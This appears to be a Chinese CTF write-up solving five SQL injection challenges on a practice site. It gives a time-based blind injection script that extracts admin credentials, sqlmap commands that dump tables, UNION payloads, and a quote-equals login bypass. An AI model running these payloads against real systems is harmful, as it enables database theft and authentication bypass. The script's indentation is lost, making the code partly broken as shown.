0x01 看起来有点难
简单的基于时间的sql注入
注意过滤了小写"select"
换成大写字母即可:
直接上脚本：
import requests
import urllib
#coding=uft-8
url="http://ctf5.shiyanbar.com/basic/inject/index.php"
flag=""
for i in range(1,100):
for j in range(33,127):
#url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if((ascii(substr(database(),%s,1))=%s),sleep(5),sleep(0)) and ''='&pass=&action=login" %(i,j)
#url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if((ascii(substr((Select group_concat(table_name) from information_schema.tables where table_schema='test' ),%s,1))=%s),sleep(5),sleep(0)) and''='&pass=&action=login" %(i,j)
#url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if((ascii(substr((Select group_concat(column_name) from information_schema.columns where table_name='admin'),%s,1))=%s),sleep(5),sleep(0)) and''='&pass=&action=login" %(i,j)
#url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if((ascii(substr((Select username from admin),%s,1))=%s),sleep(5),sleep(0)) and''='&pass=&action=login" %(i,j)
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1' or if((ascii(substr((Select password from admin),%s,1))=%s),sleep(5),sleep(0)) and''='&pass=&action=login" %(i,j)
if j == 126:
exit(0)
try:
r=requests.get(url,timeout=3)
except:
flag+=chr(j)
print flag
break
或者直接sqlmap就可以跑出来
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=1&action=login" -p "admin" --string="登录失败" --technique="B" -v 1 --dbs
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=1&action=login" -p "admin" --string="登录失败" --technique="B" -v 1 -D test --tables
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=1&action=login" -p "admin" --string="登录失败" --technique="B" -v 1 -D test -T admin --columns
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=1&action=login" -p "admin" --string="登录失败" --technique="B" -v 1 -D test -T admin -C username --dump
sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=1&action=login" -p "admin" --string="登录失败" --technique="B" -v 1 -D test -T admin -C password --dump
0x02 这个看起来有点简单!
检测注入点：
ctf5.shiyanbar.com/8/index.php?id=1 and 1=1--+
判断为数字型注入
http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2--+
返回正确
判断列数为2
数据库：
http://ctf5.shiyanbar.com/8/index.php?id=1 union select schema_name,2 from information_schema.schemata--+
发现可疑数据库：
my_db
表名：
http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,2 from information_schema.tables --+
发现可疑表名：
thiskey
http://ctf5.shiyanbar.com/8/index.php?id=1 union select group_concat(COLUMN_NAME),2 from information_schema.COLUMNS where TABLE_NAME='thiskey'--+
发现了字符串：
k0y
最后：
http://ctf5.shiyanbar.com/8/index.php?id=1 union select k0y,2 from thiskey--+
即得flag
也可以直接sqlmap(上述展示手注过程)：
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db --tables
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey --columns
sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey -C k0y --dump
0x03 简单的sql注入
检测注入点：
http://ctf5.shiyanbar.com/423/web/?id=1'
字符类型注入
猜测有过滤
用正常的注入语句看过滤了哪些：
http://ctf5.shiyanbar.com/423/web/?id=1' union select group_concat(schema_name) from information_schema.schemata --+
看一下报错：
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(schema_name) information_schema.schemata '' at line 1
可以看出过滤了select 、group_concat、from关键字
绕过过滤：
0x04 简单的sql注入之3
直接跑sqlmap
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -D web1 --tables
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -D web1 -T flag --columns
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -D web1 -T flag -C flag --dump
0x05 登录一下好吗？
打开是一个登陆界面
image
首先尝试sql注入
username：’or’
显示username：’’
发现过滤了or，事实上，select，union......都被过滤了
=和’没被过滤
构造usename:’=’ password:‘=’
登陆即得flag
说明一下：
其内部语句类似：
select * from flag where username=’\$_POST[‘user’]’and password=’\$_POST[‘password’]’
当输入’=’‘=’时
查询语句变成了
select * from flag where username=’’=’’and password=’’=’’
考虑到计算顺序由左到右：user=’’，数据库没有此用户，返回值为0，而此时第二个等号：0=’’,考虑到弱类型比较，右侧值为0，0=0，返回值为1，后面同理。
最后即：
select * from flag where 1 and 1
从而得到flag
网友评论